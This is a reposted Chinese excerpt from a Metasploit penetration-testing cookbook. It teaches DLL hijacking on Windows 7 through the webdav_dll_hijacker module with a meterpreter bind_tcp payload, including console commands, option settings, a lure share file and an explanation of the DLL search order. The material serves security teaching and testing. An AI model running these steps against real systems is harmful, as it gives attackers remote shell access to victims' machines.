《Metasploit渗透测试手册》—第3章3.8节 理解Windows DLL注入漏洞

3.8 理解Windows DLL注入漏洞
Metasploit渗透测试手册
本节将介绍一种特殊类型的漏洞,这种漏洞不直接存在于Windows操作系统中,而是存在于Windows上运行的各种应用程序软件之中。这种远程攻击方法针对的是应用程序加载外部库时存在的漏洞,下面介绍这类漏洞,以便对其进行深入分析。

准备
这种攻击方法需要创建包含漏洞的目录路径,目标机器需要执行该路径以便激活该漏洞。这个目录可以是文件、提取的文件夹、USB驱动器或网络共享等。创建的文件本身是完全无害的,但会执行DLL注入漏洞来攻击目标系统。

怎样实现
下面介绍DLL注入漏洞的实现过程。本示例中,目标机器是一个未打补丁的Windows 7 Ultimate机器。工作过程是创建一个链接共享该机器必须访问和执行的文件。随着讲解的深入,读者会对这一过程有更好的理解。

(1)使用exploit/windows/browser/webdav_dll_hijacker模块作为漏洞利用代码,windows/ meterpreter/bind_tcp作为攻击载荷,下面对漏洞利用代码和攻击载荷必需的参数进行快速设置。

msf > use exploit/windows/browser/webdav_dll_hijacker
msf  exploit(webdav_dll_hijacker) > set payload windows/
meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf  exploit(webdav_dll_hijacker) > show options
Module options (exploit/windows/browser/webdav_dll_hijacker):
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
BASENAME   policy              yes     The base name for the listed
EXTENSIONS txt                 yes      The list of extensions
SHARENAME  documents          yes        The name of the top-level
SRVHOST    0.0.0.0             yes        The local host...
SRVPORT    80                 yes      The daemon port to listen
SSLCert                        no       Path to a custom SSL..
URIPATH    /                  yes      The URI to use
Payload options (windows/meterpreter/bind_tcp):
   Name      Current Setting   Required Description
   ----       ---------------   -------- -----------
   EXITFUNC process             yes       Exit technique: seh..
   LPORT     4444                yes        The listen port
   RHOST     192.168.56.102    no         The target address
Exploit target:
   Id  Name
   --  ----
   0   Automatic

使用漏洞利用代码的各种参数有助于创建特定文件和顶层共享。其中,参数BASENAME包含了要创建的文件名,EXTENSIONS是待创建文件的类型扩展名,SHARENAME是待创建用于访问的顶级共享目录,SRVHOST是本地监听主机,SRVPORT是用于对连接进行监听的端口号。

(2)漏洞利用代码和攻击载荷的相应参数设置完成后,执行漏洞利用代码。执行后的情况如下。

msf  exploit(webdav_dll_hijacker) > exploit
[*] Exploit running as background job.
[*] Started bind handler
[*]
[*] Exploit links are now available at \\192.168.56.101\documents\

(3)漏洞利用代码成功执行后,开始对产生的连接进行监听,并提供共享链接。目标打开该链接后将触发漏洞并执行漏洞利用代码,下面切换到目标机器屏幕看会发生哪些情况。

目标机器中包含policy.txt文件,该文件已被攻击者共享,该文件是完全无害的,然而一旦目标用户执行该文件后,就会与攻击方机器建立shell连接,而实际上在目标机器上执行的是DLL文件,此时在msfconsole屏幕上会看到大量活动。DLL成功注入后,将产生一个shell连接(见下图)。

怎样工作
下面分析导致该漏洞的原因。动态链接库(DLL)是微软Windows操作系统中共享库的一种实现。DLL实际上是与某个特定程序相关的可执行程序,该程序运行时会加载与其相关的DLL共享库。应用程序运行时,loadlibrary()函数将加载运行时必需的DLL,如果待加载DLL的位置没有指定,或者应用程序提供的是非全限定的库路径,Windows就会使用自定义的搜索顺序进行DLL搜索,其中默认搜索位置就是程序的当前工作目录。
目标用户访问共享位置后,就会进入到攻击者控制的区域,这是为什么呢?因为共享文件policy.txt包含非完全限定的DLL路径,目标用户执行该文件时,Windows会按照缺省搜索顺序搜索该DLL文件,而由于当前工作目录(/documents)是由攻击者控制的,攻击者就可以在其中添加恶意的DLL代码,并由Windows操作系统执行(当前工作目录是Windows搜索链接库的缺省位置之一),从而使得攻击者可以执行外部脚本,攻击载荷成功执行后,会在攻击方机器和目标机器之间建立shell连接,攻击者由此获取对目标系统的完全访问权限。以上为该攻击方法的整个过程。

更多
可以使用H. D. Moore开发的一个简单工具来探测DLL注入漏洞。

H. D. Moore的DllHijackAudit工具
Metasploit的创建者H. D. Moore创建了一种安全审计工具,可测试系统环境中是否存在DLL注入漏洞,这是使用Ruby解释器运行的进程监控工具,其工作机理是监控某个DLL文件是否在关联文件的工作目录内被访问。该工具还可以生成测试报告。工具及详细的文档信息可以参见http://blog.metasploit.com/2010/08/better-faster-stronger.html

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

时间: 2024-10-14 15:55:42

《Metasploit渗透测试手册》—第3章3.8节 理解Windows DLL注入漏洞的相关文章

《Metasploit渗透测试手册》—第3章3.1节介绍

第3章 操作系统漏洞评估与利用Metasploit渗透测试手册本章讲解下述内容: Exploit用法快速提示: 在Windows XP SP2上进行渗透测试: 绑定远程访问目标机器的shell: 在Windows 2003 Server上进行渗透测试: Windows 7/Server 2008 R2客户端无限循环漏洞: 对Linux(Ubuntu)机器进行攻击渗透: 理解Windows DLL注入漏洞. 3.1 介绍Metasploit渗透测试手册上章着重介绍了对目标机器的信息收集,包括目标I

《Metasploit渗透测试手册》—第8章8.5节 将漏洞利用代码转换为Metasploit模块

8.5 将漏洞利用代码转换为Metasploit模块 Metasploit渗透测试手册 在前面的内容中已介绍了如何使用漏洞利用代码模块来攻陷目标机器.在本节中,我们将进一步拓展模块使用体验,尝试使用可用的概念验证代码开发完整的漏洞利用代码模块.为了将任意新的漏洞利用代码转换为框架中的模块,并在Metasploit团队进行更新之前使用其进行渗透测试,必须掌握将漏洞利用代码转换为模块的相关知识.并且,每个漏洞利用代码都以框架中模块形式存在也是不可能的,所以,下面学习怎样使用可用的POC来构建自己的漏

《Metasploit渗透测试手册》目录—导读

版权声明 Metasploit渗透测试手册 Copyright Packt Publishing 2012. First published in the English language under the title Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide. All Rights Reserved. 本书由英国Packt Publishing公司授权人民

《Metasploit渗透测试手册》—第8章8.1节介绍

第8章 使用漏洞利用代码 Metasploit渗透测试手册 本章讲解下述内容: 探索模块结构: 常用的漏洞利用代码mixins: 使用msfvenom: 将漏洞利用代码转换为Metasploit模块: 移植并测试新的漏洞利用代码模块: 使用Metasploit进行模糊测试: 编写FileZilla FTP模糊测试器. 8.1 介绍 Metasploit渗透测试手册 首先介绍漏洞利用代码.漏洞利用代码(Exploit)是指利用某个软件中的漏洞或bug执行攻击者意图指令的软件代码.数据块或指令序列.

《Metasploit渗透测试手册》—第1章1.1节介绍

第1章 给安全专业人员的Metasploit快速提示 Metasploit渗透测试手册 本章讲解下述内容: 在Windows系统中配置Metasploit 在Ubuntu系统中配置Metasploit: BackTrack 5与Metasploit 终极组合: 在单机上构建渗透测试环境: 在带有SSH连接的虚拟机上构建Metasploit环境: 从界面开始--Metasploit的"Hello World": 在Metasploit框架中建立数据库: 使用数据库存储渗透测试结果: 分析

《Metasploit渗透测试手册》—第8章8.4节使用msfvenom

8.4 使用msfvenomMetasploit渗透测试手册在第4章中,我们曾提及过msfencode和msfpayload.现在简单回顾一下,msfpayload用于从攻击载荷中生成二进制文件,msfencode则用于使用不同编码技术对该二进制文件进行编码.现在要讨论的另一个Metasploit工具则结合了二者的功能,并在生成可隐蔽执行漏洞利用代码方面发挥重要作用. 准备要使用msfvenom,首先启动终端提示符窗口,键入msfvenom –h 命令. 怎样实现观察有哪些不同的可用选项. ro

《Metasploit渗透测试手册》—第8章8.2节 探索模块结构

8.2 探索模块结构Metasploit渗透测试手册理解漏洞利用模块的结构是非常重要的,因为这有助于对不同漏洞利用模块的正确分析.由于Metasploit框架是一个开源项目,其开发依赖于来自研究团体的贡献.来自全球的开发者们将各种漏洞利用代码的概念验证代码转换为Metasploit模块,以便为其他用户使用.读者也可以将新发现漏洞的利用代码转换为Metasploit模块,从而为Metasploit开发贡献力量.还有些时候需要利用不在Metasploit框架中的特定漏洞利用代码.掌握漏洞利用代码模块

《Metasploit渗透测试手册》—第1章1.8节在Metasploit框架中建立数据库

1.8 在Metasploit框架中建立数据库 Metasploit渗透测试手册 Metasploit的重要特点是包括用于存储渗透测试结果的数据库.渗透测试涉及大量信息,并且持续数天,因此存储中间结果是必要的.因此,好的渗透测试工具应该正确地整合数据库,以便快速高效地存储结果. 准备 默认情况下,Metasploit将自带的PostgreSQL作为基础数据库.在BackTrack上,还有另外一种选择,也就是MySQL数据库.用户可以使用这两种数据库中的任一种.我们先来看一下PostgreSQL数

《Metasploit渗透测试手册》—第8章8.3节常用的漏洞利用代码mixins

8.3 常用的漏洞利用代码mixins Metasploit渗透测试手册 Mixins是Ruby语言中应用广泛的一种机制,其作用是将一些功能放置到模块中,并使得Ruby这种单继承语言具备多继承的能力.在漏洞利用代码模块中使用mixins,有助于调用该漏洞利用代码所需的不同函数.在本节中,我们将学习一些重要的Metasploit exploit mixins. 怎样实现 下面快速浏览一些常用的exploit mixins,然后在现有的漏洞利用代码模块中了解其实现机理. Exploit::Remot